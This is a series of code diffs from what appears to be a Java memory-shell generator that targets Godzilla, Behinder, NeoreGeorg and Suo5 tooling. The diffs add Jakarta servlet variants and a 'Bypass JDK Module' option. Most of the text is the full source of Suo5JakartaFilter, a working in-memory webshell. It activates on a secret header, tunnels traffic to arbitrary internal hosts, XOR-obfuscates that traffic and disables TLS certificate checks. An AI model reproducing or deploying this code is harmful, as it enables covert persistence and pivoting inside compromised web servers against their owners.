SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), GodzillaWebFluxHandlerMethod.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaJakartaFilter.class.getSimpleName(), GodzillaJakartaFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(GodzillaJakartaListener.class.getSimpleName(), GodzillaJakartaListener.class.getName());
|
||||
|
||||
Map<String, String> godzillaMap = new HashMap();
|
||||
godzillaMap.put(Constants.SHELL_FILTER, GodzillaFilter.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_LISTENER, GodzillaListener.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_INTERCEPTOR, GodzillaInterceptor.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName());
|
||||
godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName());
|
||||
|
||||
toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
<grid id="27dc6" binding="jMGPanel" layout-manager="GridLayoutManager" row-count="7" column-count="1" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||
<margin top="0" left="0" bottom="0" right="0"/>
|
||||
<constraints>
|
||||
<xy x="20" y="20" width="863" height="665"/>
|
||||
<xy x="20" y="20" width="891" height="665"/>
|
||||
</constraints>
|
||||
<properties/>
|
||||
<border type="none"/>
|
||||
@@ -289,7 +289,7 @@
|
||||
</constraints>
|
||||
<properties/>
|
||||
</component>
|
||||
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="5" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||
<grid id="ff8e2" binding="BottomPanel" layout-manager="GridLayoutManager" row-count="1" column-count="6" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||
<margin top="0" left="0" bottom="0" right="0"/>
|
||||
<constraints>
|
||||
<grid row="4" column="0" row-span="1" col-span="1" vsize-policy="3" hsize-policy="3" anchor="0" fill="3" indent="0" use-parent-layout="false"/>
|
||||
@@ -345,12 +345,20 @@
|
||||
</component>
|
||||
<component id="3a0da" class="javax.swing.JButton" binding="generateButton">
|
||||
<constraints>
|
||||
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
|
||||
<grid row="0" column="5" row-span="1" col-span="1" vsize-policy="0" hsize-policy="2" anchor="4" fill="0" indent="0" use-parent-layout="false"/>
|
||||
</constraints>
|
||||
<properties>
|
||||
<text resource-bundle="messages" key="generate.text"/>
|
||||
</properties>
|
||||
</component>
|
||||
<component id="61ba3" class="javax.swing.JCheckBox" binding="bypassJDKModuleCheckBox" default-binding="true">
|
||||
<constraints>
|
||||
<grid row="0" column="4" row-span="1" col-span="1" vsize-policy="0" hsize-policy="3" anchor="8" fill="0" indent="0" use-parent-layout="false"/>
|
||||
</constraints>
|
||||
<properties>
|
||||
<text value="Bypass JDK Module"/>
|
||||
</properties>
|
||||
</component>
|
||||
</children>
|
||||
</grid>
|
||||
<grid id="61400" binding="TipPanel" layout-manager="GridLayoutManager" row-count="1" column-count="3" same-size-horizontally="false" same-size-vertically="false" hgap="-1" vgap="-1">
|
||||
|
||||
@@ -65,6 +65,7 @@ public class jMGForm {
|
||||
private JPanel BottomPanel;
|
||||
private JPanel TipPanel;
|
||||
private JTextPane textPane;
|
||||
private JCheckBox bypassJDKModuleCheckBox;
|
||||
|
||||
private AbstractConfig config;
|
||||
|
||||
@@ -106,7 +107,7 @@ public class jMGForm {
|
||||
public jMGForm() {
|
||||
config = new AbstractConfig();
|
||||
|
||||
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER};
|
||||
String[] servletApiShellBox = {Constants.SHELL_LISTENER, Constants.SHELL_FILTER, Constants.SHELL_JAKARTA_LISTENER,Constants.SHELL_JAKARTA_FILTER};
|
||||
String[] servletApiServerBox = {Constants.SERVER_TOMCAT, Constants.SERVER_RESIN, Constants.SERVER_WEBLOGIC, Constants.SERVER_WEBSPHERE, Constants.SERVER_JETTY, Constants.SERVER_UNDERTOW, Constants.SERVER_GLASSFISH, Constants.SERVER_JBOSS};
|
||||
String[] interceptorServerBox = {Constants.SERVER_SPRING_MVC};
|
||||
String[] interceptorShellBox = {Constants.SHELL_INTERCEPTOR};
|
||||
@@ -289,7 +290,12 @@ public class jMGForm {
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
bypassJDKModuleCheckBox.addItemListener(new ItemListener() {
|
||||
@Override
|
||||
public void itemStateChanged(ItemEvent e) {
|
||||
config.setEnableBypassJDKModule(bypassJDKModuleCheckBox.isSelected());
|
||||
}
|
||||
});
|
||||
generateButton.addActionListener(new ActionListener() {
|
||||
@Override
|
||||
public void actionPerformed(ActionEvent e) {
|
||||
|
||||
@@ -23,6 +23,8 @@ public class ResultUtil {
|
||||
case Constants.SHELL_LISTENER:
|
||||
case Constants.SHELL_FILTER:
|
||||
case Constants.SHELL_INTERCEPTOR:
|
||||
case Constants.SHELL_JAKARTA_LISTENER:
|
||||
case Constants.SHELL_JAKARTA_FILTER:
|
||||
TextPaneUtil.successPrintln("基础信息:");
|
||||
TextPaneUtil.rawPrintln("");
|
||||
TextPaneUtil.rawPrintln("加密器: JAVA_AES_BASE64");
|
||||
|
||||
@@ -44,6 +44,11 @@ public class NeoreGeorgGenerator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
|
||||
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,9 +1,7 @@
|
||||
package jmg.neoregeorg.util;
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.neoregeorg.memshell.NeoreGeorgFilter;
|
||||
import jmg.neoregeorg.memshell.NeoreGeorgInterceptor;
|
||||
import jmg.neoregeorg.memshell.NeoreGeorgListener;
|
||||
import jmg.neoregeorg.memshell.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -33,10 +31,15 @@ public class ShellUtil {
|
||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaListener.class.getSimpleName(), NeoreGeorgJakartaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaFilter.class.getSimpleName(), NeoreGeorgJakartaFilter.class.getName());
|
||||
|
||||
Map<String, String> regeorgMap = new HashMap();
|
||||
regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
|
||||
regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
|
||||
regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
|
||||
regeorgMap.put(Constants.SHELL_JAKARTA_FILTER, NeoreGeorgJakartaFilter.class.getSimpleName());
|
||||
regeorgMap.put(Constants.SHELL_JAKARTA_LISTENER, NeoreGeorgJakartaListener.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -22,7 +22,7 @@ public class SDKTest {
|
||||
// 必需的基础配置
|
||||
AbstractConfig config = new AbstractConfig() {{
|
||||
// 设置工具类型
|
||||
setToolType(Constants.TOOL_GODZILLA);
|
||||
setToolType(Constants.TOOL_BEHINDER);
|
||||
// 设置中间件 or 框架
|
||||
setServerType(Constants.SERVER_TOMCAT);
|
||||
// 设置内存马类型
|
||||
|
||||
@@ -46,6 +46,11 @@ public class Suo5Generator implements IShellGenerator {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
|
||||
@@ -0,0 +1,553 @@
|
||||
package jmg.suo5.memshell;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class Suo5JakartaFilter implements Filter, Runnable, HostnameVerifier, X509TrustManager {
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5JakartaFilter() {
|
||||
}
|
||||
|
||||
public Suo5JakartaFilter(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
|
||||
public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException {
|
||||
|
||||
try {
|
||||
HttpServletRequest request = (HttpServletRequest) sReq;
|
||||
HttpServletResponse response = (HttpServletResponse) sResp;
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String contentType = request.getHeader("Content-Type");
|
||||
if (contentType == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}else {
|
||||
chain.doFilter(sReq, sResp);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
chain.doFilter(sReq, sResp);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||
InputStream in = request.getInputStream();
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = response.getOutputStream();
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = data[data.length / 2];
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||
final InputStream reqInputStream = request.getInputStream();
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
resp.setBufferSize(512);
|
||||
final OutputStream respOutStream = resp.getOutputStream();
|
||||
|
||||
// 0x00 create socket
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
port = request.getLocalPort();
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5JakartaFilter p = new Suo5JakartaFilter(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||
Exception {
|
||||
InputStream is = request.getInputStream();
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.setBufferSize(512);
|
||||
OutputStream respOutStream = resp.getOutputStream();
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
port = request.getLocalPort();
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getMethod();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
Enumeration headers = request.getHeaderNames();
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
conn.setRequestProperty(k, request.getHeader(k));
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(marshal(dataMap));
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,577 @@
|
||||
package jmg.suo5.memshell;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
public class Suo5JakartaListener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5JakartaListener() {
|
||||
}
|
||||
|
||||
public Suo5JakartaListener(InputStream in, OutputStream out) {
|
||||
this.gInStream = in;
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String contentType = request.getHeader("Content-Type");
|
||||
if (contentType == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
